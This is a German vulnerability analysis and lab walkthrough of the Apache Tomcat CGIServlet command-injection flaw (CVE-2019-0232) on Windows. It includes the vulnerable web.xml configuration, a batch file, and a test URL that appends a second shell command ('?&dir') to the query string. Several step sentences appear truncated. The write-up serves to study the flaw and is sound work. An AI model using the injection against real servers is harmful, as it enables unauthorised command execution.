
Schwachstellenanalyse und PoC für den Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (RCE)
Schwachstellenanalyse und PoC für den Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (RCE)
Video-PoC verfügbar unter https://www.youtube.com/watch?v=RA7kzuHOWqA
Apache Tomcat hat eine Schwachstelle im CGI Servlet, die ausgenutzt werden kann, um Remote Code Execution (RCE) zu erreichen. Dies ist nur ausnutzbar, wenn auf Windows in einer nicht standardmäßigen Konfiguration in Verbindung mit Batch-Dateien ausgeführt wird. Common Gateway Interface (CGI) ist ein Standardprotokoll, das Webservern erlaubt, über Webanfragen kommandozeilenbasierte Programme/Skripte auszuführen. Dieses Protokoll ermöglicht es auch, über URL-Parameter Kommandozeilenargumente an das ausgeführte Skript oder Programm zu übergeben. Das Protokoll selbst ist in RFC 3875 definiert. Wenn auf Windows mit aktiviertem enableCmdLineArguments ausgeführt wird, ist das CGI Servlet in Apache Tomcat aufgrund eines Fehlers in der Art und Weise, wie die JRE Kommandozeilenargumente an Windows übergibt, anfällig für RCE. Das CGI Servlet ist standardmäßig deaktiviert. Die CGI-Option enableCmdLineArguments ist in Tomcat 9.0.x standardmäßig deaktiviert (und wird als Reaktion auf diese Schwachstelle in allen Versionen standardmäßig deaktiviert sein).
Video-PoC verfügbar unter https://www.youtube.com/watch?v=RA7kzuHOWqA
a. Ändern Sie die Datei conf/context.xml und setzen Sie <Context privileged="true">

b. Nehmen Sie die folgenden Änderungen in der Datei /conf/web.xml in der Nähe der Zeilen 366 bzw. 420 vor.

enableCmdLineArguments muss auf True gesetzt sein, da wir Tomcat 9 verwenden.
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>
webapps\ROOT\WEB-INF\cgi und fügen Sie eine Datei ism.bat mit folgendem Inhalt hinzu:
@echo off
echo Content-Type: text/plain
echo .
http://localhost:8080/cgi/ism.bat?&dir, um zu prüfen, ob der Server funktioniert.
cve-2019-0232.py aus und fügen Sie die Server-IP und den Port hinzu.
Link zum Video-PoC: https://www.youtube.com/watch?v=RA7kzuHOWqA
[[a-zA-Z0-9\Q-_.\\/:\E]+] implementiert, um zu verhindern, dass Eingaben auf Windows-Systemen als Befehle ausgeführt werden.